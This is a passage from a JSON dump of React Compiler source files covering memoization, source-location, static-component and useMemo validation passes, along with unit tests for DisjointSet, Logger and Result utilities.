state.env.recordError(\n            CompilerDiagnostic.create({\n              category: ErrorCategory.PreserveManualMemo,\n              reason: 'Existing memoization could not be preserved',\n              description: [\n                'React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. ',\n                'This dependency may be mutated later, which could cause the value to change unexpectedly',\n              ].join(''),\n            }).withDetails({\n              kind: 'error',\n              loc,\n              message: 'This dependency may be modified later',\n            }),\n          );\n        }\n      }\n    }\n    if (value.kind === 'FinishMemoize') {\n      if (state.manualMemoState == null) {\n        // StartMemoize had invalid deps, skip validation\n        return;\n      }\n      CompilerError.invariant(\n        state.manualMemoState.manualMemoId === value.manualMemoId,\n        {\n          reason: 'Unexpected mismatch between StartMemoize and FinishMemoize',\n          description: `Encountered StartMemoize id=${state.manualMemoState.manualMemoId} followed by FinishMemoize id=${value.manualMemoId}`,\n          loc: value.loc,\n        },\n      );\n      const reassignments = state.manualMemoState.reassignments;\n      state.manualMemoState = null;\n      if (!value.pruned) {\n        for (const {identifier, loc} of eachInstructionValueOperand(\n          value as InstructionValue,\n        )) {\n          let decls;\n          if (identifier.scope == null) {\n            /**\n             * If the manual memo was a useMemo that got inlined, iterate through\n             * all reassignments to the iife temporary to ensure they're memoized.\n             */\n            decls = reassignments.get(identifier.declarationId) ?? [identifier];\n          } else {\n            decls = [identifier];\n          }\n\n          for (const identifier of decls) {\n            if (isUnmemoized(identifier, this.scopes)) {\n              state.env.recordError(\n                CompilerDiagnostic.create({\n                  category: ErrorCategory.PreserveManualMemo,\n                  reason: 'Existing memoization could not be preserved',\n                  description: [\n                    'React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output',\n                    DEBUG\n                      ? `${printIdentifier(identifier)} was not memoized.`\n                      : '',\n                  ]\n                    .join('')\n                    .trim(),\n                }).withDetails({\n                  kind: 'error',\n                  loc,\n                  message: 'Could not preserve existing memoization',\n                }),\n              );\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nfunction isUnmemoized(operand: Identifier, scopes: Set<ScopeId>): boolean {\n  return operand.scope != null && !scopes.has(operand.scope.id);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateSourceLocations.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {NodePath} from '@babel/traverse';\nimport * as t from '@babel/types';\nimport {CompilerDiagnostic, ErrorCategory} from '..';\nimport {CodegenFunction} from '../ReactiveScopes';\nimport {Environment} from '../HIR/Environment';\n\n/**\n * IMPORTANT: This validation is only intended for use in unit tests.\n * It is not intended for use in production.\n *\n * This validation is used to ensure that the generated AST has proper source locations\n * for \"important\" original nodes.\n *\n * There's one big gotcha with this validation: it only works if the \"important\" original nodes\n * are not optimized away by the compiler.\n *\n * When that scenario happens, we should just update the fixture to not include a node that has no\n * corresponding node in the generated AST due to being completely removed during compilation.\n */\n\n/**\n * Some common node types that are important for coverage tracking.\n * Based on istanbul-lib-instrument + some other common nodes we expect to be present in the generated AST.\n *\n * Note: For VariableDeclaration, VariableDeclarator, and Identifier, we enforce stricter validation\n * that requires both the source location AND node type to match in the generated AST. This ensures\n * that variable declarations maintain their structural integrity through compilation.\n */\nconst IMPORTANT_INSTRUMENTED_TYPES = new Set([\n  'ArrowFunctionExpression',\n  'AssignmentPattern',\n  'ObjectMethod',\n  'ExpressionStatement',\n  'BreakStatement',\n  'ContinueStatement',\n  'ReturnStatement',\n  'ThrowStatement',\n  'TryStatement',\n  'VariableDeclarator',\n  'IfStatement',\n  'ForStatement',\n  'ForInStatement',\n  'ForOfStatement',\n  'WhileStatement',\n  'DoWhileStatement',\n  'SwitchStatement',\n  'SwitchCase',\n  'WithStatement',\n  'FunctionDeclaration',\n  'FunctionExpression',\n  'LabeledStatement',\n  'ConditionalExpression',\n  'LogicalExpression',\n\n  /**\n   * Note: these aren't important for coverage tracking,\n   * but we still want to track them to ensure we aren't regressing them when\n   * we fix the source location tracking for other nodes.\n   */\n  'VariableDeclaration',\n  'Identifier',\n]);\n\n/**\n * Check if a node is a manual memoization call that the compiler optimizes away.\n * These include useMemo and useCallback calls, which are intentionally removed\n * by the DropManualMemoization pass.\n */\nfunction isManualMemoization(node: t.Node): boolean {\n  // Check if this is a useMemo/useCallback call expression\n  if (t.isCallExpression(node)) {\n    const callee = node.callee;\n    if (t.isIdentifier(callee)) {\n      return callee.name === 'useMemo' || callee.name === 'useCallback';\n    }\n    if (\n      t.isMemberExpression(callee) &&\n      t.isIdentifier(callee.property) &&\n      t.isIdentifier(callee.object)\n    ) {\n      return (\n        callee.object.name === 'React' &&\n        (callee.property.name === 'useMemo' ||\n          callee.property.name === 'useCallback')\n      );\n    }\n  }\n\n  return false;\n}\n\n/**\n * Create a location key for comparison. We compare by line/column/source,\n * not by object identity.\n */\nfunction locationKey(loc: t.SourceLocation): string {\n  return `${loc.start.line}:${loc.start.column}-${loc.end.line}:${loc.end.column}`;\n}\n\n/**\n * Validates that important source locations from the original code are preserved\n * in the generated AST. This ensures that Istanbul coverage instrumentation can\n * properly map back to the original source code.\n *\n * The validator:\n * 1. Collects locations from \"important\" nodes in the original AST (those that\n *    Istanbul instruments for coverage tracking)\n * 2. Exempts known compiler optimizations (useMemo/useCallback removal)\n * 3. Verifies that all important locations appear somewhere in the generated AST\n *\n * Missing locations can cause Istanbul to fail to track coverage for certain\n * code paths, leading to inaccurate coverage reports.\n */\nexport function validateSourceLocations(\n  func: NodePath<\n    t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression\n  >,\n  generatedAst: CodegenFunction,\n  env: Environment,\n): void {\n  /*\n   * Step 1: Collect important locations from the original source\n   * Note: Multiple node types can share the same location (e.g. VariableDeclarator and Identifier)\n   */\n  const importantOriginalLocations = new Map<\n    string,\n    {loc: t.SourceLocation; nodeTypes: Set<string>}\n  >();\n\n  func.traverse({\n    enter(path) {\n      const node = path.node;\n\n      // Only track node types that Istanbul instruments\n      if (!IMPORTANT_INSTRUMENTED_TYPES.has(node.type)) {\n        return;\n      }\n\n      // Skip manual memoization that the compiler intentionally removes\n      if (isManualMemoization(node)) {\n        return;\n      }\n\n      /*\n       * Skip return statements inside arrow functions that will be simplified to expression body.\n       * The compiler transforms `() => { return expr }` to `() => expr` in CodegenReactiveFunction\n       */\n      if (t.isReturnStatement(node) && node.argument != null) {\n        const parentBody = path.parentPath;\n        const parentFunc = parentBody?.parentPath;\n        if (\n          parentBody?.isBlockStatement() &&\n          parentFunc?.isArrowFunctionExpression() &&\n          parentBody.node.body.length === 1 &&\n          parentBody.node.directives.length === 0\n        ) {\n          return;\n        }\n      }\n\n      // Collect the location if it exists\n      if (node.loc) {\n        const key = locationKey(node.loc);\n        const existing = importantOriginalLocations.get(key);\n        if (existing) {\n          existing.nodeTypes.add(node.type);\n        } else {\n          importantOriginalLocations.set(key, {\n            loc: node.loc,\n            nodeTypes: new Set([node.type]),\n          });\n        }\n      }\n    },\n  });\n\n  // Step 2: Collect all locations from the generated AST with their node types\n  const generatedLocations = new Map<string, Set<string>>();\n\n  function collectGeneratedLocations(node: t.Node): void {\n    if (node.loc) {\n      const key = locationKey(node.loc);\n      const nodeTypes = generatedLocations.get(key);\n      if (nodeTypes) {\n        nodeTypes.add(node.type);\n      } else {\n        generatedLocations.set(key, new Set([node.type]));\n      }\n    }\n\n    // Use Babel's VISITOR_KEYS to traverse only actual node properties\n    const keys = t.VISITOR_KEYS[node.type as keyof typeof t.VISITOR_KEYS];\n\n    if (!keys) {\n      return;\n    }\n\n    for (const key of keys) {\n      const value = (node as any)[key];\n\n      if (Array.isArray(value)) {\n        for (const item of value) {\n          if (t.isNode(item)) {\n            collectGeneratedLocations(item);\n          }\n        }\n      } else if (t.isNode(value)) {\n        collectGeneratedLocations(value);\n      }\n    }\n  }\n\n  // Collect from main function body\n  collectGeneratedLocations(generatedAst.body);\n\n  // Collect from outlined functions\n  for (const outlined of generatedAst.outlined) {\n    collectGeneratedLocations(outlined.fn.body);\n  }\n\n  /*\n   * Step 3: Validate that all important locations are preserved\n   * For certain node types, also validate that the node type matches\n   */\n  const strictNodeTypes = new Set([\n    'VariableDeclaration',\n    'VariableDeclarator',\n    'Identifier',\n  ]);\n\n  const reportMissingLocation = (\n    loc: t.SourceLocation,\n    nodeType: string,\n  ): void => {\n    env.recordError(\n      CompilerDiagnostic.create({\n        category: ErrorCategory.Todo,\n        reason: 'Important source location missing in generated code',\n        description:\n          `Source location for ${nodeType} is missing in the generated output. This can cause coverage instrumentation ` +\n          `to fail to track this code properly, resulting in inaccurate coverage reports.`,\n      }).withDetails({\n        kind: 'error',\n        loc,\n        message: null,\n      }),\n    );\n  };\n\n  const reportWrongNodeType = (\n    loc: t.SourceLocation,\n    expectedType: string,\n    actualTypes: Set<string>,\n  ): void => {\n    env.recordError(\n      CompilerDiagnostic.create({\n        category: ErrorCategory.Todo,\n        reason:\n          'Important source location has wrong node type in generated code',\n        description:\n          `Source location for ${expectedType} exists in the generated output but with wrong node type(s): ${Array.from(actualTypes).join(', ')}. ` +\n          `This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports.`,\n      }).withDetails({\n        kind: 'error',\n        loc,\n        message: null,\n      }),\n    );\n  };\n\n  for (const [key, {loc, nodeTypes}] of importantOriginalLocations) {\n    const generatedNodeTypes = generatedLocations.get(key);\n\n    if (!generatedNodeTypes) {\n      // Location is completely missing\n      reportMissingLocation(loc, Array.from(nodeTypes).join(', '));\n    } else {\n      // Location exists, check each node type\n      for (const nodeType of nodeTypes) {\n        if (\n          strictNodeTypes.has(nodeType) &&\n          !generatedNodeTypes.has(nodeType)\n        ) {\n          /*\n           * For strict node types, the specific node type must be present\n           * Check if any generated node type is also an important original node type\n           */\n          const hasValidNodeType = Array.from(generatedNodeTypes).some(\n            genType => nodeTypes.has(genType),\n          );\n\n          if (hasValidNodeType) {\n            // At least one generated node type is valid (also in original), so this is just missing\n            reportMissingLocation(loc, nodeType);\n          } else {\n            // None of the generated node types are in original - this is wrong node type\n            reportWrongNodeType(loc, nodeType, generatedNodeTypes);\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateStaticComponents.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  CompilerDiagnostic,\n  CompilerError,\n  ErrorCategory,\n} from '../CompilerError';\nimport {HIRFunction, IdentifierId, SourceLocation} from '../HIR';\nimport {Result} from '../Utils/Result';\n\n/**\n * Validates against components that are created dynamically and whose identity is not guaranteed\n * to be stable (which would cause the component to reset on each re-render).\n */\nexport function validateStaticComponents(\n  fn: HIRFunction,\n): Result<void, CompilerError> {\n  const error = new CompilerError();\n  const knownDynamicComponents = new Map<IdentifierId, SourceLocation>();\n  for (const block of fn.body.blocks.values()) {\n    phis: for (const phi of block.phis) {\n      for (const operand of phi.operands.values()) {\n        const loc = knownDynamicComponents.get(operand.identifier.id);\n        if (loc != null) {\n          knownDynamicComponents.set(phi.place.identifier.id, loc);\n          continue phis;\n        }\n      }\n    }\n    for (const instr of block.instructions) {\n      const {lvalue, value} = instr;\n      switch (value.kind) {\n        case 'FunctionExpression':\n        case 'NewExpression':\n        case 'MethodCall':\n        case 'CallExpression': {\n          knownDynamicComponents.set(lvalue.identifier.id, value.loc);\n          break;\n        }\n        case 'LoadLocal': {\n          const loc = knownDynamicComponents.get(value.place.identifier.id);\n          if (loc != null) {\n            knownDynamicComponents.set(lvalue.identifier.id, loc);\n          }\n          break;\n        }\n        case 'StoreLocal': {\n          const loc = knownDynamicComponents.get(value.value.identifier.id);\n          if (loc != null) {\n            knownDynamicComponents.set(lvalue.identifier.id, loc);\n            knownDynamicComponents.set(value.lvalue.place.identifier.id, loc);\n          }\n          break;\n        }\n        case 'JsxExpression': {\n          if (value.tag.kind === 'Identifier') {\n            const location = knownDynamicComponents.get(\n              value.tag.identifier.id,\n            );\n            if (location != null) {\n              error.pushDiagnostic(\n                CompilerDiagnostic.create({\n                  category: ErrorCategory.StaticComponents,\n                  reason: 'Cannot create components during render',\n                  description: `Components created during render will reset their state each time they are created. Declare components outside of render`,\n                })\n                  .withDetails({\n                    kind: 'error',\n                    loc: value.tag.loc,\n                    message: 'This component is created during render',\n                  })\n                  .withDetails({\n                    kind: 'error',\n                    loc: location,\n                    message: 'The component is created during render here',\n                  }),\n              );\n            }\n          }\n        }\n      }\n    }\n  }\n  return error.asResult();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateUseMemo.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  CompilerDiagnostic,\n  CompilerError,\n  ErrorCategory,\n} from '../CompilerError';\nimport {\n  FunctionExpression,\n  HIRFunction,\n  IdentifierId,\n  SourceLocation,\n} from '../HIR';\nimport {Environment} from '../HIR/Environment';\nimport {\n  eachInstructionValueOperand,\n  eachTerminalOperand,\n} from '../HIR/visitors';\n\nexport function validateUseMemo(fn: HIRFunction): void {\n  const voidMemoErrors = new CompilerError();\n  const useMemos = new Set<IdentifierId>();\n  const react = new Set<IdentifierId>();\n  const functions = new Map<IdentifierId, FunctionExpression>();\n  const unusedUseMemos = new Map<IdentifierId, SourceLocation>();\n  for (const [, block] of fn.body.blocks) {\n    for (const {lvalue, value} of block.instructions) {\n      if (unusedUseMemos.size !== 0) {\n        /**\n         * Most of the time useMemo results are referenced immediately. Don't bother\n         * scanning instruction operands for useMemos unless there is an as-yet-unused\n         * useMemo.\n         */\n        for (const operand of eachInstructionValueOperand(value)) {\n          unusedUseMemos.delete(operand.identifier.id);\n        }\n      }\n      switch (value.kind) {\n        case 'LoadGlobal': {\n          if (value.binding.name === 'useMemo') {\n            useMemos.add(lvalue.identifier.id);\n          } else if (value.binding.name === 'React') {\n            react.add(lvalue.identifier.id);\n          }\n          break;\n        }\n        case 'PropertyLoad': {\n          if (react.has(value.object.identifier.id)) {\n            if (value.property === 'useMemo') {\n              useMemos.add(lvalue.identifier.id);\n            }\n          }\n          break;\n        }\n        case 'FunctionExpression': {\n          functions.set(lvalue.identifier.id, value);\n          break;\n        }\n        case 'MethodCall':\n        case 'CallExpression': {\n          // Is the function being called useMemo, with at least 1 argument?\n          const callee =\n            value.kind === 'CallExpression' ? value.callee : value.property;\n          const isUseMemo = useMemos.has(callee.identifier.id);\n          if (!isUseMemo || value.args.length === 0) {\n            continue;\n          }\n\n          /*\n           * If yes get the first argument and if it refers to a locally defined function\n           * expression, validate the function\n           */\n          const [arg] = value.args;\n          if (arg.kind !== 'Identifier') {\n            continue;\n          }\n          const body = functions.get(arg.identifier.id);\n          if (body === undefined) {\n            continue;\n          }\n\n          if (body.loweredFunc.func.params.length > 0) {\n            const firstParam = body.loweredFunc.func.params[0];\n            const loc =\n              firstParam.kind === 'Identifier'\n                ? firstParam.loc\n                : firstParam.place.loc;\n            fn.env.recordError(\n              CompilerDiagnostic.create({\n                category: ErrorCategory.UseMemo,\n                reason: 'useMemo() callbacks may not accept parameters',\n                description:\n                  'useMemo() callbacks are called by React to cache calculations across re-renders. They should not take parameters. Instead, directly reference the props, state, or local variables needed for the computation',\n                suggestions: null,\n              }).withDetails({\n                kind: 'error',\n                loc,\n                message: 'Callbacks with parameters are not supported',\n              }),\n            );\n          }\n\n          if (body.loweredFunc.func.async || body.loweredFunc.func.generator) {\n            fn.env.recordError(\n              CompilerDiagnostic.create({\n                category: ErrorCategory.UseMemo,\n                reason:\n                  'useMemo() callbacks may not be async or generator functions',\n                description:\n                  'useMemo() callbacks are called once and must synchronously return a value',\n                suggestions: null,\n              }).withDetails({\n                kind: 'error',\n                loc: body.loc,\n                message: 'Async and generator functions are not supported',\n              }),\n            );\n          }\n\n          validateNoContextVariableAssignment(body.loweredFunc.func, fn.env);\n\n          if (fn.env.config.validateNoVoidUseMemo) {\n            if (!hasNonVoidReturn(body.loweredFunc.func)) {\n              voidMemoErrors.pushDiagnostic(\n                CompilerDiagnostic.create({\n                  category: ErrorCategory.VoidUseMemo,\n                  reason: 'useMemo() callbacks must return a value',\n                  description: `This useMemo() callback doesn't return a value. useMemo() is for computing and caching values, not for arbitrary side effects`,\n                  suggestions: null,\n                }).withDetails({\n                  kind: 'error',\n                  loc: body.loc,\n                  message: 'useMemo() callbacks must return a value',\n                }),\n              );\n            } else {\n              unusedUseMemos.set(lvalue.identifier.id, callee.loc);\n            }\n          }\n          break;\n        }\n      }\n    }\n    if (unusedUseMemos.size !== 0) {\n      for (const operand of eachTerminalOperand(block.terminal)) {\n        unusedUseMemos.delete(operand.identifier.id);\n      }\n    }\n  }\n  if (unusedUseMemos.size !== 0) {\n    /**\n     * Basic check for unused memos, where the result of the call is never referenced. This runs\n     * before DCE so it's more of an AST-level check that something, _anything_, cares about the value.\n     *\n     * This is easy to defeat with e.g. `const _ = useMemo(...)` but it at least gives us something to teach.\n     * Even a DCE-based version could be bypassed with `noop(useMemo(...))`.\n     */\n    for (const loc of unusedUseMemos.values()) {\n      voidMemoErrors.pushDiagnostic(\n        CompilerDiagnostic.create({\n          category: ErrorCategory.VoidUseMemo,\n          reason: 'useMemo() result is unused',\n          description: `This useMemo() value is unused. useMemo() is for computing and caching values, not for arbitrary side effects`,\n          suggestions: null,\n        }).withDetails({\n          kind: 'error',\n          loc,\n          message: 'useMemo() result is unused',\n        }),\n      );\n    }\n  }\n  fn.env.logErrors(voidMemoErrors.asResult());\n}\n\nfunction validateNoContextVariableAssignment(\n  fn: HIRFunction,\n  env: Environment,\n): void {\n  const context = new Set(fn.context.map(place => place.identifier.id));\n  for (const block of fn.body.blocks.values()) {\n    for (const instr of block.instructions) {\n      const value = instr.value;\n      switch (value.kind) {\n        case 'StoreContext': {\n          if (context.has(value.lvalue.place.identifier.id)) {\n            env.recordError(\n              CompilerDiagnostic.create({\n                category: ErrorCategory.UseMemo,\n                reason:\n                  'useMemo() callbacks may not reassign variables declared outside of the callback',\n                description:\n                  'useMemo() callbacks must be pure functions and cannot reassign variables defined outside of the callback function',\n                suggestions: null,\n              }).withDetails({\n                kind: 'error',\n                loc: value.lvalue.place.loc,\n                message: 'Cannot reassign variable',\n              }),\n            );\n          }\n          break;\n        }\n      }\n    }\n  }\n}\n\nfunction hasNonVoidReturn(func: HIRFunction): boolean {\n  for (const [, block] of func.body.blocks) {\n    if (block.terminal.kind === 'return') {\n      if (\n        block.terminal.returnVariant === 'Explicit' ||\n        block.terminal.returnVariant === 'Implicit'\n      ) {\n        return true;\n      }\n    }\n  }\n  return false;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport {validateContextVariableLValues} from './ValidateContextVariableLValues';\nexport {validateHooksUsage} from './ValidateHooksUsage';\nexport {validateNoCapitalizedCalls} from './ValidateNoCapitalizedCalls';\nexport {validateNoRefAccessInRender} from './ValidateNoRefAccessInRender';\nexport {validateNoSetStateInRender} from './ValidateNoSetStateInRender';\nexport {validatePreservedManualMemoization} from './ValidatePreservedManualMemoization';\nexport {validateSourceLocations} from './ValidateSourceLocations';\nexport {validateUseMemo} from './ValidateUseMemo';\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/DisjointSet-test.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport DisjointSet from '../Utils/DisjointSet';\n\ntype TestIdentifier = {\n  id: number;\n  name: string;\n};\n\ndescribe('DisjointSet', () => {\n  let identifierId = 0;\n  function makeIdentifier(name: string): TestIdentifier {\n    return {\n      id: identifierId++,\n      name,\n    };\n  }\n\n  function makeIdentifiers(...names: string[]): TestIdentifier[] {\n    return names.map(name => makeIdentifier(name));\n  }\n\n  beforeEach(() => {\n    identifierId = 0;\n  });\n\n  it('.find - finds the correct group which the item is associated with', () => {\n    const identifiers = new DisjointSet<TestIdentifier>();\n    const [x, y, z] = makeIdentifiers('x', 'y', 'z');\n\n    identifiers.union([x]);\n    identifiers.union([y, x]);\n\n    expect(identifiers.find(x)).toBe(y);\n    expect(identifiers.find(y)).toBe(y);\n    expect(identifiers.find(z)).toBe(null);\n  });\n\n  it('.size - returns 0 when empty', () => {\n    const identifiers = new DisjointSet<TestIdentifier>();\n\n    expect(identifiers.size).toBe(0);\n  });\n\n  it('.size - returns the correct size when non-empty', () => {\n    const identifiers = new DisjointSet<TestIdentifier>();\n    const [x, y] = makeIdentifiers('x', 'y', 'z');\n\n    identifiers.union([x]);\n    identifiers.union([y, x]);\n\n    expect(identifiers.size).toBe(2);\n  });\n\n  it('.buildSets - returns non-overlapping sets', () => {\n    const identifiers = new DisjointSet<TestIdentifier>();\n    const [a, b, c, x, y, z] = makeIdentifiers('a', 'b', 'c', 'x', 'y', 'z');\n\n    identifiers.union([a]);\n    identifiers.union([b, a]);\n    identifiers.union([c, b]);\n\n    identifiers.union([x]);\n    identifiers.union([y, x]);\n    identifiers.union([z, y]);\n    identifiers.union([x, z]);\n\n    expect(identifiers.buildSets()).toMatchInlineSnapshot(`\n      [\n        Set {\n          {\n            \"id\": 0,\n            \"name\": \"a\",\n          },\n          {\n            \"id\": 1,\n            \"name\": \"b\",\n          },\n          {\n            \"id\": 2,\n            \"name\": \"c\",\n          },\n        },\n        Set {\n          {\n            \"id\": 3,\n            \"name\": \"x\",\n          },\n          {\n            \"id\": 4,\n            \"name\": \"y\",\n          },\n          {\n            \"id\": 5,\n            \"name\": \"z\",\n          },\n        },\n      ]\n    `);\n  });\n\n  // Regression test for issue #933\n  it(\"`forEach` doesn't infinite loop when there are cycles\", () => {\n    const identifiers = new DisjointSet<TestIdentifier>();\n    const [x, y, z] = makeIdentifiers('x', 'y', 'z');\n\n    identifiers.union([x]);\n    identifiers.union([y, x]);\n    identifiers.union([z, y]);\n    identifiers.union([x, z]);\n\n    identifiers.forEach((_, group) => expect(group).toBe(z));\n  });\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/Logger-test.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as t from '@babel/types';\nimport invariant from 'invariant';\nimport {runBabelPluginReactCompiler} from '../Babel/RunReactCompilerBabelPlugin';\nimport type {Logger, LoggerEvent} from '../Entrypoint';\n\nit('logs successful compilation', () => {\n  const logs: [string | null, LoggerEvent][] = [];\n  const logger: Logger = {\n    logEvent(filename, event) {\n      logs.push([filename, event]);\n    },\n  };\n\n  const _ = runBabelPluginReactCompiler(\n    'function Component(props) { return <div>{props}</div> }',\n    'test.js',\n    'flow',\n    {logger, panicThreshold: 'all_errors'},\n  );\n\n  const [filename, event] = logs.at(0)!;\n  expect(filename).toContain('test.js');\n  expect(event.kind).toEqual('CompileSuccess');\n  invariant(event.kind === 'CompileSuccess', 'typescript be smarter');\n  expect(event.fnName).toEqual('Component');\n  expect(event.fnLoc?.end).toEqual({column: 55, index: 55, line: 1});\n  expect(event.fnLoc?.start).toEqual({column: 0, index: 0, line: 1});\n});\n\nit('logs failed compilation', () => {\n  const logs: [string | null, LoggerEvent][] = [];\n  const logger: Logger = {\n    logEvent(filename, event) {\n      logs.push([filename, event]);\n    },\n  };\n\n  expect(() => {\n    runBabelPluginReactCompiler(\n      'function Component(props) { props.foo = 1; return <div>{props}</div> }',\n      'test.js',\n      'flow',\n      {logger, panicThreshold: 'all_errors'},\n    );\n  }).toThrow();\n\n  const [filename, event] = logs.at(0)!;\n  expect(filename).toContain('test.js');\n  expect(event.kind).toEqual('CompileError');\n  invariant(event.kind === 'CompileError', 'typescript be smarter');\n\n  expect(event.detail.severity).toEqual('Error');\n  //@ts-ignore\n  const {start, end, identifierName} =\n    event.detail.primaryLocation() as t.SourceLocation;\n  expect(start).toEqual({column: 28, index: 28, line: 1});\n  expect(end).toEqual({column: 33, index: 33, line: 1});\n  expect(identifierName).toEqual('props');\n\n  // Make sure event.fnLoc is different from event.detail.loc\n  expect(event.fnLoc?.start).toEqual({column: 0, index: 0, line: 1});\n  expect(event.fnLoc?.end).toEqual({column: 70, index: 70, line: 1});\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/Result-test.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {Err, Ok, Result} from '../Utils/Result';\n\nfunction addMax10(a: number, b: number): Result<number, string> {\n  const n = a + b;\n  return n > 10 ? Err(`${n} is too high`) : Ok(n);\n}\n\nfunction onlyFoo(foo: string): Result<string, string> {\n  return foo === 'foo' ? Ok(foo) : Err(foo);\n}\n\nclass CustomDummyError extends Error {}\n\ndescribe('Result', () => {\n  test('.map', () => {\n    expect(addMax10(1, 1).map(n => n * 2)).toEqual(Ok(4));\n    expect(addMax10(10, 10).map(n => n * 2)).toEqual(Err('20 is too high'));\n  });\n\n  test('.mapErr', () => {\n    expect(addMax10(1, 1).mapErr(e => `not a number: ${e}`)).toEqual(Ok(2));\n    expect(addMax10(10, 10).mapErr(e => `couldn't add: ${e}`)).toEqual(\n      Err(\"couldn't add: 20 is too high\"),\n    );\n  });\n\n  test('.mapOr', () => {\n    expect(onlyFoo('foo').mapOr(42, v => v.length)).toEqual(3);\n    expect(onlyFoo('bar').mapOr(42, v => v.length)).toEqual(42);\n  });\n\n  test('.mapOrElse', () => {\n    expect(\n      onlyFoo('foo').mapOrElse(\n        () => 42,\n        v => v.length,\n      ),\n    ).toEqual(3);\n    expect(\n      onlyFoo('bar').mapOrElse(\n        () => 42,\n        v => v.length,\n      ),\n    ).toEqual(42);\n  });\n\n  test('.andThen', () => {\n    expect(addMax10(1, 1).andThen(n => Ok(n * 2))).toEqual(Ok(4));\n    expect(addMax10(10, 10).andThen(n => Ok(n * 2))).toEqual(\n      Err('20 is too high'),\n    );\n  });\n\n  test('.and', () => {\n    expect(addMax10(1, 1).and(Ok(4))).toEqual(Ok(4));\n    expect(addMax10(10, 10).and(Ok(4))).toEqual(Err('20 is too high'));\n    expect(addMax10(1, 1).and(Err('hehe'))).toEqual(Err('hehe'));\n    expect(addMax10(10, 10).and(Err('hehe'))).toEqual(Err('20 is too high'));\n  });\n\n  test('.or', () => {\n    expect(addMax10(1, 1).or(Ok(4))).toEqual(Ok(2));\n    expect(addMax10(10, 10).or(Ok(4))).toEqual(Ok(4));\n    expect(addMax10(1, 1).or(Err('hehe'))).toEqual(Ok(2));\n    expect(addMax10(10, 10).or(Err('hehe'))).toEqual(Err('hehe'));\n  });\n\n  test('.orElse', () => {\n    expect(addMax10(1, 1).orElse(str => Err(str.toUpperCase()))).toEqual(Ok(2));\n    expect(addMax10(10, 10).orElse(str => Err(str.toUpperCase()))).toEqual(\n      Err('20 IS TOO HIGH'),\n    );\n  });\n\n  test('.isOk', () => {\n    expect(addMax10(1, 1).isOk()).toBeTruthy();\n    expect(addMax10(10, 10).isOk()).toBeFalsy();\n  });\n\n  test('.isErr', () => {\n    expect(addMax10(1, 1).isErr()).toBeFalsy();\n    expect(addMax10(10, 10).isErr()).toBeTruthy();\n  });\n\n  test('.expect', () => {\n    expect(addMax10(1, 1).expect('a number under 10')).toEqual(2);\n    expect(() => {\n      addMax10(10, 10).expect('a number under 10');\n    }).toThrowErrorMatchingInlineSnapshot(\n      `\"a number under 10: 20 is too high\"`,\n    );\n  });\n\n  test('.expectErr', () => {\n    expect(() => {\n      addMax10(1, 1).expectErr('a number under 10');\n    }).toThrowErrorMatchingInlineSnapshot(`\"a number under 10: 2\"`);\n    expect(addMax10(10, 10).expectErr('a number under 10')).toEqual(\n      '20 is too high',\n    );\n  });\n\n  test('.unwrap', () => {\n    expect(addMax10(1, 1).unwrap()).toEqual(2);\n    expect(() => {\n      addMax10(10, 10).unwrap();\n    }).toThrowErrorMatchingInlineSnapshot(\n      `\"Can't unwrap \\`Err\\` to \\`Ok\\`: 20 is too high\"`,\n    );\n    expect(() => {\n      Err(new CustomDummyError('oops')).unwrap();\n    }).toThrowErrorMatchingInlineSnapshot(`\"oops\"`);\n  });\n\n  test('.unwrapOr', () => {\n    expect(addMax10(1, 1).unwrapOr(4)).toEqual(2);\n    expect(addMax10(10, 10).unwrapOr(4)).toEqual(4);\n  });\n\n  test('.unwrapOrElse', () => {\n    expect(addMax10(1, 1).unwrapOrElse(() => 4)).toEqual(2);\n    expect(addMax10(10, 10).unwrapOrElse(s => s.length)).toEqual(14);\n  });\n\n  test('.unwrapErr', () => {\n    expect(() => {\n      addMax10(1, 1).unwrapErr();\n    }).toThrowErrorMatchingInlineSnapshot(\n      `\"Can't unwrap \\`Ok\\` to \\`Err\\`: 2\"`,\n    );\n    expect(addMax10(10, 10).unwrapErr()).toEqual('20 is too high');\n    expect(() => {\n      Ok(new CustomDummyError('oops')).unwrapErr();\n    }).toThrowErrorMatchingInlineSnapshot(`\"oops\"`);\n  });\n});\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/e2e/constant-prop.e2e.js",
